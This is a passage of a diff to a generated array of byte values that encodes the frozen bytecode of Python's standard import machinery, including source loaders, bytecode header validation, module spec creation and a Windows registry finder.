-    109,111,100,117,108,101,32,99,114,101,97,116,105,111,110,46,
-    78,114,4,0,0,0,41,2,114,104,0,0,0,114,162,0,
-    0,0,114,4,0,0,0,114,4,0,0,0,114,6,0,0,
-    0,218,13,99,114,101,97,116,101,95,109,111,100,117,108,101,
-    153,2,0,0,115,0,0,0,0,122,27,95,76,111,97,100,
-    101,114,66,97,115,105,99,115,46,99,114,101,97,116,101,95,
-    109,111,100,117,108,101,99,2,0,0,0,0,0,0,0,3,
-    0,0,0,4,0,0,0,67,0,0,0,115,56,0,0,0,
-    124,0,106,0,124,1,106,1,131,1,125,2,124,2,100,1,
-    107,8,114,36,116,2,100,2,106,3,124,1,106,1,131,1,
-    131,1,130,1,116,4,106,5,116,6,124,2,124,1,106,7,
-    131,3,1,0,100,1,83,0,41,3,122,19,69,120,101,99,
-    117,116,101,32,116,104,101,32,109,111,100,117,108,101,46,78,
-    122,52,99,97,110,110,111,116,32,108,111,97,100,32,109,111,
-    100,117,108,101,32,123,33,114,125,32,119,104,101,110,32,103,
-    101,116,95,99,111,100,101,40,41,32,114,101,116,117,114,110,
-    115,32,78,111,110,101,41,8,218,8,103,101,116,95,99,111,
-    100,101,114,109,0,0,0,114,103,0,0,0,114,50,0,0,
-    0,114,118,0,0,0,218,25,95,99,97,108,108,95,119,105,
-    116,104,95,102,114,97,109,101,115,95,114,101,109,111,118,101,
-    100,218,4,101,120,101,99,114,115,0,0,0,41,3,114,104,
-    0,0,0,218,6,109,111,100,117,108,101,114,144,0,0,0,
-    114,4,0,0,0,114,4,0,0,0,114,6,0,0,0,218,
-    11,101,120,101,99,95,109,111,100,117,108,101,156,2,0,0,
-    115,10,0,0,0,0,2,12,1,8,1,6,1,10,1,122,
-    25,95,76,111,97,100,101,114,66,97,115,105,99,115,46,101,
-    120,101,99,95,109,111,100,117,108,101,99,2,0,0,0,0,
-    0,0,0,2,0,0,0,3,0,0,0,67,0,0,0,115,
-    12,0,0,0,116,0,106,1,124,0,124,1,131,2,83,0,
-    41,1,122,26,84,104,105,115,32,109,111,100,117,108,101,32,
-    105,115,32,100,101,112,114,101,99,97,116,101,100,46,41,2,
-    114,118,0,0,0,218,17,95,108,111,97,100,95,109,111,100,
-    117,108,101,95,115,104,105,109,41,2,114,104,0,0,0,114,
-    123,0,0,0,114,4,0,0,0,114,4,0,0,0,114,6,
-    0,0,0,218,11,108,111,97,100,95,109,111,100,117,108,101,
-    164,2,0,0,115,2,0,0,0,0,2,122,25,95,76,111,
-    97,100,101,114,66,97,115,105,99,115,46,108,111,97,100,95,
-    109,111,100,117,108,101,78,41,8,114,109,0,0,0,114,108,
-    0,0,0,114,110,0,0,0,114,111,0,0,0,114,157,0,
-    0,0,114,183,0,0,0,114,188,0,0,0,114,190,0,0,
-    0,114,4,0,0,0,114,4,0,0,0,114,4,0,0,0,
-    114,6,0,0,0,114,181,0,0,0,140,2,0,0,115,10,
-    0,0,0,8,3,4,2,8,8,8,3,8,8,114,181,0,
-    0,0,99,0,0,0,0,0,0,0,0,0,0,0,0,3,
-    0,0,0,64,0,0,0,115,74,0,0,0,101,0,90,1,
-    100,0,90,2,100,1,100,2,132,0,90,3,100,3,100,4,
-    132,0,90,4,100,5,100,6,132,0,90,5,100,7,100,8,
-    132,0,90,6,100,9,100,10,132,0,90,7,100,18,100,12,
-    156,1,100,13,100,14,132,2,90,8,100,15,100,16,132,0,
-    90,9,100,17,83,0,41,19,218,12,83,111,117,114,99,101,
-    76,111,97,100,101,114,99,2,0,0,0,0,0,0,0,2,
-    0,0,0,1,0,0,0,67,0,0,0,115,8,0,0,0,
-    116,0,130,1,100,1,83,0,41,2,122,178,79,112,116,105,
-    111,110,97,108,32,109,101,116,104,111,100,32,116,104,97,116,
-    32,114,101,116,117,114,110,115,32,116,104,101,32,109,111,100,
-    105,102,105,99,97,116,105,111,110,32,116,105,109,101,32,40,
-    97,110,32,105,110,116,41,32,102,111,114,32,116,104,101,10,
-    32,32,32,32,32,32,32,32,115,112,101,99,105,102,105,101,
-    100,32,112,97,116,104,44,32,119,104,101,114,101,32,112,97,
-    116,104,32,105,115,32,97,32,115,116,114,46,10,10,32,32,
-    32,32,32,32,32,32,82,97,105,115,101,115,32,73,79,69,
-    114,114,111,114,32,119,104,101,110,32,116,104,101,32,112,97,
-    116,104,32,99,97,110,110,111,116,32,98,101,32,104,97,110,
-    100,108,101,100,46,10,32,32,32,32,32,32,32,32,78,41,
-    1,218,7,73,79,69,114,114,111,114,41,2,114,104,0,0,
-    0,114,37,0,0,0,114,4,0,0,0,114,4,0,0,0,
-    114,6,0,0,0,218,10,112,97,116,104,95,109,116,105,109,
-    101,171,2,0,0,115,2,0,0,0,0,6,122,23,83,111,
-    117,114,99,101,76,111,97,100,101,114,46,112,97,116,104,95,
-    109,116,105,109,101,99,2,0,0,0,0,0,0,0,2,0,
-    0,0,3,0,0,0,67,0,0,0,115,14,0,0,0,100,
-    1,124,0,106,0,124,1,131,1,105,1,83,0,41,2,97,
-    170,1,0,0,79,112,116,105,111,110,97,108,32,109,101,116,
-    104,111,100,32,114,101,116,117,114,110,105,110,103,32,97,32,
-    109,101,116,97,100,97,116,97,32,100,105,99,116,32,102,111,
-    114,32,116,104,101,32,115,112,101,99,105,102,105,101,100,32,
-    112,97,116,104,10,32,32,32,32,32,32,32,32,116,111,32,
-    98,121,32,116,104,101,32,112,97,116,104,32,40,115,116,114,
-    41,46,10,32,32,32,32,32,32,32,32,80,111,115,115,105,
-    98,108,101,32,107,101,121,115,58,10,32,32,32,32,32,32,
-    32,32,45,32,39,109,116,105,109,101,39,32,40,109,97,110,
-    100,97,116,111,114,121,41,32,105,115,32,116,104,101,32,110,
-    117,109,101,114,105,99,32,116,105,109,101,115,116,97,109,112,
-    32,111,102,32,108,97,115,116,32,115,111,117,114,99,101,10,
-    32,32,32,32,32,32,32,32,32,32,99,111,100,101,32,109,
-    111,100,105,102,105,99,97,116,105,111,110,59,10,32,32,32,
-    32,32,32,32,32,45,32,39,115,105,122,101,39,32,40,111,
-    112,116,105,111,110,97,108,41,32,105,115,32,116,104,101,32,
-    115,105,122,101,32,105,110,32,98,121,116,101,115,32,111,102,
-    32,116,104,101,32,115,111,117,114,99,101,32,99,111,100,101,
-    46,10,10,32,32,32,32,32,32,32,32,73,109,112,108,101,
-    109,101,110,116,105,110,103,32,116,104,105,115,32,109,101,116,
-    104,111,100,32,97,108,108,111,119,115,32,116,104,101,32,108,
-    111,97,100,101,114,32,116,111,32,114,101,97,100,32,98,121,
-    116,101,99,111,100,101,32,102,105,108,101,115,46,10,32,32,
-    32,32,32,32,32,32,82,97,105,115,101,115,32,73,79,69,
-    114,114,111,114,32,119,104,101,110,32,116,104,101,32,112,97,
-    116,104,32,99,97,110,110,111,116,32,98,101,32,104,97,110,
-    100,108,101,100,46,10,32,32,32,32,32,32,32,32,114,130,
-    0,0,0,41,1,114,193,0,0,0,41,2,114,104,0,0,
-    0,114,37,0,0,0,114,4,0,0,0,114,4,0,0,0,
-    114,6,0,0,0,218,10,112,97,116,104,95,115,116,97,116,
-    115,179,2,0,0,115,2,0,0,0,0,11,122,23,83,111,
-    117,114,99,101,76,111,97,100,101,114,46,112,97,116,104,95,
-    115,116,97,116,115,99,4,0,0,0,0,0,0,0,4,0,
-    0,0,3,0,0,0,67,0,0,0,115,12,0,0,0,124,
-    0,106,0,124,2,124,3,131,2,83,0,41,1,122,228,79,
+    32,124,0,106,0,124,1,107,3,114,48,116,1,100,1,124,
+    0,106,0,124,1,102,2,22,0,124,1,100,2,141,2,130,
+    1,136,0,124,0,124,1,102,2,124,2,152,2,124,3,142,
+    1,83,0,41,3,78,122,30,108,111,97,100,101,114,32,102,
+    111,114,32,37,115,32,99,97,110,110,111,116,32,104,97,110,
+    100,108,101,32,37,115,41,1,218,4,110,97,109,101,41,2,
+    114,102,0,0,0,218,11,73,109,112,111,114,116,69,114,114,
+    111,114,41,4,218,4,115,101,108,102,114,102,0,0,0,218,
+    4,97,114,103,115,90,6,107,119,97,114,103,115,41,1,218,
+    6,109,101,116,104,111,100,114,4,0,0,0,114,6,0,0,
+    0,218,19,95,99,104,101,99,107,95,110,97,109,101,95,119,
+    114,97,112,112,101,114,134,1,0,0,115,12,0,0,0,0,
+    1,8,1,8,1,10,1,4,1,18,1,122,40,95,99,104,
+    101,99,107,95,110,97,109,101,46,60,108,111,99,97,108,115,
+    62,46,95,99,104,101,99,107,95,110,97,109,101,95,119,114,
+    97,112,112,101,114,99,2,0,0,0,0,0,0,0,3,0,
+    0,0,7,0,0,0,83,0,0,0,115,60,0,0,0,120,
+    40,100,5,68,0,93,32,125,2,116,0,124,1,124,2,131,
+    2,114,6,116,1,124,0,124,2,116,2,124,1,124,2,131,
+    2,131,3,1,0,113,6,87,0,124,0,106,3,106,4,124,
+    1,106,3,131,1,1,0,100,0,83,0,41,6,78,218,10,
+    95,95,109,111,100,117,108,101,95,95,218,8,95,95,110,97,
+    109,101,95,95,218,12,95,95,113,117,97,108,110,97,109,101,
+    95,95,218,7,95,95,100,111,99,95,95,41,4,122,10,95,
+    95,109,111,100,117,108,101,95,95,122,8,95,95,110,97,109,
+    101,95,95,122,12,95,95,113,117,97,108,110,97,109,101,95,
+    95,122,7,95,95,100,111,99,95,95,41,5,218,7,104,97,
+    115,97,116,116,114,218,7,115,101,116,97,116,116,114,218,7,
+    103,101,116,97,116,116,114,218,8,95,95,100,105,99,116,95,
+    95,218,6,117,112,100,97,116,101,41,3,90,3,110,101,119,
+    90,3,111,108,100,114,55,0,0,0,114,4,0,0,0,114,
+    4,0,0,0,114,6,0,0,0,218,5,95,119,114,97,112,
+    145,1,0,0,115,8,0,0,0,0,1,10,1,10,1,22,
+    1,122,26,95,99,104,101,99,107,95,110,97,109,101,46,60,
+    108,111,99,97,108,115,62,46,95,119,114,97,112,41,1,78,
+    41,3,218,10,95,98,111,111,116,115,116,114,97,112,114,117,
+    0,0,0,218,9,78,97,109,101,69,114,114,111,114,41,3,
+    114,106,0,0,0,114,107,0,0,0,114,117,0,0,0,114,
+    4,0,0,0,41,1,114,106,0,0,0,114,6,0,0,0,
+    218,11,95,99,104,101,99,107,95,110,97,109,101,126,1,0,
+    0,115,14,0,0,0,0,8,14,7,2,1,10,1,14,2,
+    14,5,10,1,114,120,0,0,0,99,2,0,0,0,0,0,
+    0,0,5,0,0,0,4,0,0,0,67,0,0,0,115,60,
+    0,0,0,124,0,106,0,124,1,131,1,92,2,125,2,125,
+    3,124,2,100,1,107,8,114,56,116,1,124,3,131,1,114,
+    56,100,2,125,4,116,2,106,3,124,4,106,4,124,3,100,
+    3,25,0,131,1,116,5,131,2,1,0,124,2,83,0,41,
+    4,122,155,84,114,121,32,116,111,32,102,105,110,100,32,97,
+    32,108,111,97,100,101,114,32,102,111,114,32,116,104,101,32,
+    115,112,101,99,105,102,105,101,100,32,109,111,100,117,108,101,
+    32,98,121,32,100,101,108,101,103,97,116,105,110,103,32,116,
+    111,10,32,32,32,32,115,101,108,102,46,102,105,110,100,95,
+    108,111,97,100,101,114,40,41,46,10,10,32,32,32,32,84,
+    104,105,115,32,109,101,116,104,111,100,32,105,115,32,100,101,
+    112,114,101,99,97,116,101,100,32,105,110,32,102,97,118,111,
+    114,32,111,102,32,102,105,110,100,101,114,46,102,105,110,100,
+    95,115,112,101,99,40,41,46,10,10,32,32,32,32,78,122,
+    44,78,111,116,32,105,109,112,111,114,116,105,110,103,32,100,
+    105,114,101,99,116,111,114,121,32,123,125,58,32,109,105,115,
+    115,105,110,103,32,95,95,105,110,105,116,95,95,114,62,0,
+    0,0,41,6,218,11,102,105,110,100,95,108,111,97,100,101,
+    114,114,33,0,0,0,114,63,0,0,0,114,64,0,0,0,
+    114,50,0,0,0,218,13,73,109,112,111,114,116,87,97,114,
+    110,105,110,103,41,5,114,104,0,0,0,218,8,102,117,108,
+    108,110,97,109,101,218,6,108,111,97,100,101,114,218,8,112,
+    111,114,116,105,111,110,115,218,3,109,115,103,114,4,0,0,
+    0,114,4,0,0,0,114,6,0,0,0,218,17,95,102,105,
+    110,100,95,109,111,100,117,108,101,95,115,104,105,109,154,1,
+    0,0,115,10,0,0,0,0,10,14,1,16,1,4,1,22,
+    1,114,127,0,0,0,99,4,0,0,0,0,0,0,0,11,
+    0,0,0,22,0,0,0,67,0,0,0,115,136,1,0,0,
+    105,0,125,4,124,2,100,1,107,9,114,22,124,2,124,4,
+    100,2,60,0,110,4,100,3,125,2,124,3,100,1,107,9,
+    114,42,124,3,124,4,100,4,60,0,124,0,100,1,100,5,
+    133,2,25,0,125,5,124,0,100,5,100,6,133,2,25,0,
+    125,6,124,0,100,6,100,7,133,2,25,0,125,7,124,5,
+    116,0,107,3,114,124,100,8,106,1,124,2,124,5,131,2,
+    125,8,116,2,106,3,100,9,124,8,131,2,1,0,116,4,
+    124,8,102,1,124,4,142,1,130,1,110,86,116,5,124,6,
+    131,1,100,5,107,3,114,168,100,10,106,1,124,2,131,1,
+    125,8,116,2,106,3,100,9,124,8,131,2,1,0,116,6,
+    124,8,131,1,130,1,110,42,116,5,124,7,131,1,100,5,
+    107,3,114,210,100,11,106,1,124,2,131,1,125,8,116,2,
+    106,3,100,9,124,8,131,2,1,0,116,6,124,8,131,1,
+    130,1,124,1,100,1,107,9,144,1,114,124,121,16,116,7,
+    124,1,100,12,25,0,131,1,125,9,87,0,110,22,4,0,
+    116,8,107,10,144,1,114,2,1,0,1,0,1,0,89,0,
+    110,50,88,0,116,9,124,6,131,1,124,9,107,3,144,1,
+    114,52,100,13,106,1,124,2,131,1,125,8,116,2,106,3,
+    100,9,124,8,131,2,1,0,116,4,124,8,102,1,124,4,
+    142,1,130,1,121,16,124,1,100,14,25,0,100,15,64,0,
+    125,10,87,0,110,22,4,0,116,8,107,10,144,1,114,90,
+    1,0,1,0,1,0,89,0,110,34,88,0,116,9,124,7,
+    131,1,124,10,107,3,144,1,114,124,116,4,100,13,106,1,
+    124,2,131,1,102,1,124,4,142,1,130,1,124,0,100,7,
+    100,1,133,2,25,0,83,0,41,16,97,122,1,0,0,86,
+    97,108,105,100,97,116,101,32,116,104,101,32,104,101,97,100,
+    101,114,32,111,102,32,116,104,101,32,112,97,115,115,101,100,
+    45,105,110,32,98,121,116,101,99,111,100,101,32,97,103,97,
+    105,110,115,116,32,115,111,117,114,99,101,95,115,116,97,116,
+    115,32,40,105,102,10,32,32,32,32,103,105,118,101,110,41,
+    32,97,110,100,32,114,101,116,117,114,110,105,110,103,32,116,
+    104,101,32,98,121,116,101,99,111,100,101,32,116,104,97,116,
+    32,99,97,110,32,98,101,32,99,111,109,112,105,108,101,100,
+    32,98,121,32,99,111,109,112,105,108,101,40,41,46,10,10,
+    32,32,32,32,65,108,108,32,111,116,104,101,114,32,97,114,
+    103,117,109,101,110,116,115,32,97,114,101,32,117,115,101,100,
+    32,116,111,32,101,110,104,97,110,99,101,32,101,114,114,111,
+    114,32,114,101,112,111,114,116,105,110,103,46,10,10,32,32,
+    32,32,73,109,112,111,114,116,69,114,114,111,114,32,105,115,
+    32,114,97,105,115,101,100,32,119,104,101,110,32,116,104,101,
+    32,109,97,103,105,99,32,110,117,109,98,101,114,32,105,115,
+    32,105,110,99,111,114,114,101,99,116,32,111,114,32,116,104,
+    101,32,98,121,116,101,99,111,100,101,32,105,115,10,32,32,
+    32,32,102,111,117,110,100,32,116,111,32,98,101,32,115,116,
+    97,108,101,46,32,69,79,70,69,114,114,111,114,32,105,115,
+    32,114,97,105,115,101,100,32,119,104,101,110,32,116,104,101,
+    32,100,97,116,97,32,105,115,32,102,111,117,110,100,32,116,
+    111,32,98,101,10,32,32,32,32,116,114,117,110,99,97,116,
+    101,100,46,10,10,32,32,32,32,78,114,102,0,0,0,122,
+    10,60,98,121,116,101,99,111,100,101,62,114,37,0,0,0,
+    114,14,0,0,0,233,8,0,0,0,233,12,0,0,0,122,
+    30,98,97,100,32,109,97,103,105,99,32,110,117,109,98,101,
+    114,32,105,110,32,123,33,114,125,58,32,123,33,114,125,122,
+    2,123,125,122,43,114,101,97,99,104,101,100,32,69,79,70,
+    32,119,104,105,108,101,32,114,101,97,100,105,110,103,32,116,
+    105,109,101,115,116,97,109,112,32,105,110,32,123,33,114,125,
+    122,48,114,101,97,99,104,101,100,32,69,79,70,32,119,104,
+    105,108,101,32,114,101,97,100,105,110,103,32,115,105,122,101,
+    32,111,102,32,115,111,117,114,99,101,32,105,110,32,123,33,
+    114,125,218,5,109,116,105,109,101,122,26,98,121,116,101,99,
+    111,100,101,32,105,115,32,115,116,97,108,101,32,102,111,114,
+    32,123,33,114,125,218,4,115,105,122,101,108,3,0,0,0,
+    255,127,255,127,3,0,41,10,218,12,77,65,71,73,67,95,
+    78,85,77,66,69,82,114,50,0,0,0,114,118,0,0,0,
+    218,16,95,118,101,114,98,111,115,101,95,109,101,115,115,97,
+    103,101,114,103,0,0,0,114,33,0,0,0,218,8,69,79,
+    70,69,114,114,111,114,114,16,0,0,0,218,8,75,101,121,
+    69,114,114,111,114,114,21,0,0,0,41,11,114,56,0,0,
+    0,218,12,115,111,117,114,99,101,95,115,116,97,116,115,114,
+    102,0,0,0,114,37,0,0,0,90,11,101,120,99,95,100,
+    101,116,97,105,108,115,90,5,109,97,103,105,99,90,13,114,
+    97,119,95,116,105,109,101,115,116,97,109,112,90,8,114,97,
+    119,95,115,105,122,101,114,79,0,0,0,218,12,115,111,117,
+    114,99,101,95,109,116,105,109,101,218,11,115,111,117,114,99,
+    101,95,115,105,122,101,114,4,0,0,0,114,4,0,0,0,
+    114,6,0,0,0,218,25,95,118,97,108,105,100,97,116,101,
+    95,98,121,116,101,99,111,100,101,95,104,101,97,100,101,114,
+    171,1,0,0,115,76,0,0,0,0,11,4,1,8,1,10,
+    3,4,1,8,1,8,1,12,1,12,1,12,1,8,1,12,
+    1,12,1,14,1,12,1,10,1,12,1,10,1,12,1,10,
+    1,12,1,8,1,10,1,2,1,16,1,16,1,6,2,14,
+    1,10,1,12,1,12,1,2,1,16,1,16,1,6,2,14,
+    1,12,1,6,1,114,139,0,0,0,99,4,0,0,0,0,
+    0,0,0,5,0,0,0,5,0,0,0,67,0,0,0,115,
+    82,0,0,0,116,0,106,1,124,0,131,1,125,4,116,2,
+    124,4,116,3,131,2,114,58,116,4,106,5,100,1,124,2,
+    131,2,1,0,124,3,100,2,107,9,114,52,116,6,106,7,
+    124,4,124,3,131,2,1,0,124,4,83,0,110,20,116,8,
+    100,3,106,9,124,2,131,1,124,1,124,2,100,4,141,3,
+    130,1,100,2,83,0,41,5,122,60,67,111,109,112,105,108,
+    101,32,98,121,116,101,99,111,100,101,32,97,115,32,114,101,
+    116,117,114,110,101,100,32,98,121,32,95,118,97,108,105,100,
+    97,116,101,95,98,121,116,101,99,111,100,101,95,104,101,97,
+    100,101,114,40,41,46,122,21,99,111,100,101,32,111,98,106,
+    101,99,116,32,102,114,111,109,32,123,33,114,125,78,122,23,
+    78,111,110,45,99,111,100,101,32,111,98,106,101,99,116,32,
+    105,110,32,123,33,114,125,41,2,114,102,0,0,0,114,37,
+    0,0,0,41,10,218,7,109,97,114,115,104,97,108,90,5,
+    108,111,97,100,115,218,10,105,115,105,110,115,116,97,110,99,
+    101,218,10,95,99,111,100,101,95,116,121,112,101,114,118,0,
+    0,0,114,133,0,0,0,218,4,95,105,109,112,90,16,95,
+    102,105,120,95,99,111,95,102,105,108,101,110,97,109,101,114,
+    103,0,0,0,114,50,0,0,0,41,5,114,56,0,0,0,
+    114,102,0,0,0,114,93,0,0,0,114,94,0,0,0,218,
+    4,99,111,100,101,114,4,0,0,0,114,4,0,0,0,114,
+    6,0,0,0,218,17,95,99,111,109,112,105,108,101,95,98,
+    121,116,101,99,111,100,101,226,1,0,0,115,16,0,0,0,
+    0,2,10,1,10,1,12,1,8,1,12,1,6,2,10,1,
+    114,145,0,0,0,114,62,0,0,0,99,3,0,0,0,0,
+    0,0,0,4,0,0,0,3,0,0,0,67,0,0,0,115,
+    56,0,0,0,116,0,116,1,131,1,125,3,124,3,106,2,
+    116,3,124,1,131,1,131,1,1,0,124,3,106,2,116,3,
+    124,2,131,1,131,1,1,0,124,3,106,2,116,4,106,5,
+    124,0,131,1,131,1,1,0,124,3,83,0,41,1,122,80,
+    67,111,109,112,105,108,101,32,97,32,99,111,100,101,32,111,
+    98,106,101,99,116,32,105,110,116,111,32,98,121,116,101,99,
+    111,100,101,32,102,111,114,32,119,114,105,116,105,110,103,32,
+    111,117,116,32,116,111,32,97,32,98,121,116,101,45,99,111,
+    109,112,105,108,101,100,10,32,32,32,32,102,105,108,101,46,
+    41,6,218,9,98,121,116,101,97,114,114,97,121,114,132,0,
+    0,0,218,6,101,120,116,101,110,100,114,19,0,0,0,114,
+    140,0,0,0,90,5,100,117,109,112,115,41,4,114,144,0,
+    0,0,114,130,0,0,0,114,138,0,0,0,114,56,0,0,
+    0,114,4,0,0,0,114,4,0,0,0,114,6,0,0,0,
+    218,17,95,99,111,100,101,95,116,111,95,98,121,116,101,99,
+    111,100,101,238,1,0,0,115,10,0,0,0,0,3,8,1,
+    14,1,14,1,16,1,114,148,0,0,0,99,1,0,0,0,
+    0,0,0,0,5,0,0,0,4,0,0,0,67,0,0,0,
+    115,62,0,0,0,100,1,100,2,108,0,125,1,116,1,106,
+    2,124,0,131,1,106,3,125,2,124,1,106,4,124,2,131,
+    1,125,3,116,1,106,5,100,2,100,3,131,2,125,4,124,
+    4,106,6,124,0,106,6,124,3,100,1,25,0,131,1,131,
+    1,83,0,41,4,122,121,68,101,99,111,100,101,32,98,121,
+    116,101,115,32,114,101,112,114,101,115,101,110,116,105,110,103,
+    32,115,111,117,114,99,101,32,99,111,100,101,32,97,110,100,
+    32,114,101,116,117,114,110,32,116,104,101,32,115,116,114,105,
+    110,103,46,10,10,32,32,32,32,85,110,105,118,101,114,115,
+    97,108,32,110,101,119,108,105,110,101,32,115,117,112,112,111,
+    114,116,32,105,115,32,117,115,101,100,32,105,110,32,116,104,
+    101,32,100,101,99,111,100,105,110,103,46,10,32,32,32,32,
+    114,62,0,0,0,78,84,41,7,218,8,116,111,107,101,110,
+    105,122,101,114,52,0,0,0,90,7,66,121,116,101,115,73,
+    79,90,8,114,101,97,100,108,105,110,101,90,15,100,101,116,
+    101,99,116,95,101,110,99,111,100,105,110,103,90,25,73,110,
+    99,114,101,109,101,110,116,97,108,78,101,119,108,105,110,101,
+    68,101,99,111,100,101,114,218,6,100,101,99,111,100,101,41,
+    5,218,12,115,111,117,114,99,101,95,98,121,116,101,115,114,
+    149,0,0,0,90,21,115,111,117,114,99,101,95,98,121,116,
+    101,115,95,114,101,97,100,108,105,110,101,218,8,101,110,99,
+    111,100,105,110,103,90,15,110,101,119,108,105,110,101,95,100,
+    101,99,111,100,101,114,114,4,0,0,0,114,4,0,0,0,
+    114,6,0,0,0,218,13,100,101,99,111,100,101,95,115,111,
+    117,114,99,101,248,1,0,0,115,10,0,0,0,0,5,8,
+    1,12,1,10,1,12,1,114,153,0,0,0,41,2,114,124,
+    0,0,0,218,26,115,117,98,109,111,100,117,108,101,95,115,
+    101,97,114,99,104,95,108,111,99,97,116,105,111,110,115,99,
+    2,0,0,0,2,0,0,0,9,0,0,0,19,0,0,0,
+    67,0,0,0,115,18,1,0,0,124,1,100,1,107,8,114,
+    60,100,2,125,1,116,0,124,2,100,3,131,2,114,70,121,
+    14,124,2,106,1,124,0,131,1,125,1,87,0,113,70,4,
+    0,116,2,107,10,114,56,1,0,1,0,1,0,89,0,113,
+    70,88,0,110,10,116,3,106,4,124,1,131,1,125,1,116,
+    5,106,6,124,0,124,2,124,1,100,4,141,3,125,4,100,
+    5,124,4,95,7,124,2,100,1,107,8,114,156,120,54,116,
+    8,131,0,68,0,93,40,92,2,125,5,125,6,124,1,106,
+    9,116,10,124,6,131,1,131,1,114,108,124,5,124,0,124,
+    1,131,2,125,2,124,2,124,4,95,11,80,0,113,108,87,
+    0,100,1,83,0,124,3,116,12,107,8,114,222,116,0,124,
+    2,100,6,131,2,114,228,121,14,124,2,106,13,124,0,131,
+    1,125,7,87,0,110,20,4,0,116,2,107,10,114,208,1,
+    0,1,0,1,0,89,0,113,228,88,0,124,7,114,228,103,
+    0,124,4,95,14,110,6,124,3,124,4,95,14,124,4,106,
+    14,103,0,107,2,144,1,114,14,124,1,144,1,114,14,116,
+    15,124,1,131,1,100,7,25,0,125,8,124,4,106,14,106,
+    16,124,8,131,1,1,0,124,4,83,0,41,8,97,61,1,
+    0,0,82,101,116,117,114,110,32,97,32,109,111,100,117,108,
+    101,32,115,112,101,99,32,98,97,115,101,100,32,111,110,32,
+    97,32,102,105,108,101,32,108,111,99,97,116,105,111,110,46,
+    10,10,32,32,32,32,84,111,32,105,110,100,105,99,97,116,
+    101,32,116,104,97,116,32,116,104,101,32,109,111,100,117,108,
+    101,32,105,115,32,97,32,112,97,99,107,97,103,101,44,32,
+    115,101,116,10,32,32,32,32,115,117,98,109,111,100,117,108,
+    101,95,115,101,97,114,99,104,95,108,111,99,97,116,105,111,
+    110,115,32,116,111,32,97,32,108,105,115,116,32,111,102,32,
+    100,105,114,101,99,116,111,114,121,32,112,97,116,104,115,46,
+    32,32,65,110,10,32,32,32,32,101,109,112,116,121,32,108,
+    105,115,116,32,105,115,32,115,117,102,102,105,99,105,101,110,
+    116,44,32,116,104,111,117,103,104,32,105,116,115,32,110,111,
+    116,32,111,116,104,101,114,119,105,115,101,32,117,115,101,102,
+    117,108,32,116,111,32,116,104,101,10,32,32,32,32,105,109,
+    112,111,114,116,32,115,121,115,116,101,109,46,10,10,32,32,
+    32,32,84,104,101,32,108,111,97,100,101,114,32,109,117,115,
+    116,32,116,97,107,101,32,97,32,115,112,101,99,32,97,115,
+    32,105,116,115,32,111,110,108,121,32,95,95,105,110,105,116,
+    95,95,40,41,32,97,114,103,46,10,10,32,32,32,32,78,
+    122,9,60,117,110,107,110,111,119,110,62,218,12,103,101,116,
+    95,102,105,108,101,110,97,109,101,41,1,218,6,111,114,105,
+    103,105,110,84,218,10,105,115,95,112,97,99,107,97,103,101,
+    114,62,0,0,0,41,17,114,112,0,0,0,114,155,0,0,
+    0,114,103,0,0,0,114,3,0,0,0,114,67,0,0,0,
+    114,118,0,0,0,218,10,77,111,100,117,108,101,83,112,101,
+    99,90,13,95,115,101,116,95,102,105,108,101,97,116,116,114,
+    218,27,95,103,101,116,95,115,117,112,112,111,114,116,101,100,
+    95,102,105,108,101,95,108,111,97,100,101,114,115,114,96,0,
+    0,0,114,97,0,0,0,114,124,0,0,0,218,9,95,80,
+    79,80,85,76,65,84,69,114,157,0,0,0,114,154,0,0,
+    0,114,40,0,0,0,218,6,97,112,112,101,110,100,41,9,
+    114,102,0,0,0,90,8,108,111,99,97,116,105,111,110,114,
+    124,0,0,0,114,154,0,0,0,218,4,115,112,101,99,218,
+    12,108,111,97,100,101,114,95,99,108,97,115,115,218,8,115,
+    117,102,102,105,120,101,115,114,157,0,0,0,90,7,100,105,
+    114,110,97,109,101,114,4,0,0,0,114,4,0,0,0,114,
+    6,0,0,0,218,23,115,112,101,99,95,102,114,111,109,95,
+    102,105,108,101,95,108,111,99,97,116,105,111,110,9,2,0,
+    0,115,62,0,0,0,0,12,8,4,4,1,10,2,2,1,
+    14,1,14,1,8,2,10,8,16,1,6,3,8,1,16,1,
+    14,1,10,1,6,1,6,2,4,3,8,2,10,1,2,1,
+    14,1,14,1,6,2,4,1,8,2,6,1,12,1,6,1,
+    12,1,12,2,114,165,0,0,0,99,0,0,0,0,0,0,
+    0,0,0,0,0,0,4,0,0,0,64,0,0,0,115,80,
+    0,0,0,101,0,90,1,100,0,90,2,100,1,90,3,100,
+    2,90,4,100,3,90,5,100,4,90,6,101,7,100,5,100,
+    6,132,0,131,1,90,8,101,7,100,7,100,8,132,0,131,
+    1,90,9,101,7,100,14,100,10,100,11,132,1,131,1,90,
+    10,101,7,100,15,100,12,100,13,132,1,131,1,90,11,100,
+    9,83,0,41,16,218,21,87,105,110,100,111,119,115,82,101,
+    103,105,115,116,114,121,70,105,110,100,101,114,122,62,77,101,
+    116,97,32,112,97,116,104,32,102,105,110,100,101,114,32,102,
+    111,114,32,109,111,100,117,108,101,115,32,100,101,99,108,97,
+    114,101,100,32,105,110,32,116,104,101,32,87,105,110,100,111,
+    119,115,32,114,101,103,105,115,116,114,121,46,122,59,83,111,
+    102,116,119,97,114,101,92,80,121,116,104,111,110,92,80,121,
+    116,104,111,110,67,111,114,101,92,123,115,121,115,95,118,101,
+    114,115,105,111,110,125,92,77,111,100,117,108,101,115,92,123,
+    102,117,108,108,110,97,109,101,125,122,65,83,111,102,116,119,
+    97,114,101,92,80,121,116,104,111,110,92,80,121,116,104,111,
+    110,67,111,114,101,92,123,115,121,115,95,118,101,114,115,105,
+    111,110,125,92,77,111,100,117,108,101,115,92,123,102,117,108,
+    108,110,97,109,101,125,92,68,101,98,117,103,70,99,2,0,
+    0,0,0,0,0,0,2,0,0,0,11,0,0,0,67,0,
+    0,0,115,50,0,0,0,121,14,116,0,106,1,116,0,106,
+    2,124,1,131,2,83,0,4,0,116,3,107,10,114,44,1,
+    0,1,0,1,0,116,0,106,1,116,0,106,4,124,1,131,
+    2,83,0,88,0,100,0,83,0,41,1,78,41,5,218,7,
+    95,119,105,110,114,101,103,90,7,79,112,101,110,75,101,121,
+    90,17,72,75,69,89,95,67,85,82,82,69,78,84,95,85,
+    83,69,82,114,42,0,0,0,90,18,72,75,69,89,95,76,
+    79,67,65,76,95,77,65,67,72,73,78,69,41,2,218,3,
+    99,108,115,114,5,0,0,0,114,4,0,0,0,114,4,0,
+    0,0,114,6,0,0,0,218,14,95,111,112,101,110,95,114,
